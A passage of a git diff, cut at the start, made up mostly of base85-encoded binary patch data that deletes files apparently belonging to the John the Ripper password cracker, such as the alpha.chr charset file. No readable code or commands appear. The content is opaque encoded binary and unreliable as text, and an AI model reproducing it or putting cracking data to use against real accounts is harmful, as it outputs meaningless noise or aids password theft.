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 bzvBOW=uZdtaBToySMQ%lsQ#b-_y7D~ZG1Iz diff --git a/data/john/run.linux.x64.mmx/alpha.chr b/data/john/run.linux.x64.mmx/alpha.chr deleted file mode 100644 index 48586c0510b07dfa5b8245bd7b96eac8b574cc2b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 131549 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 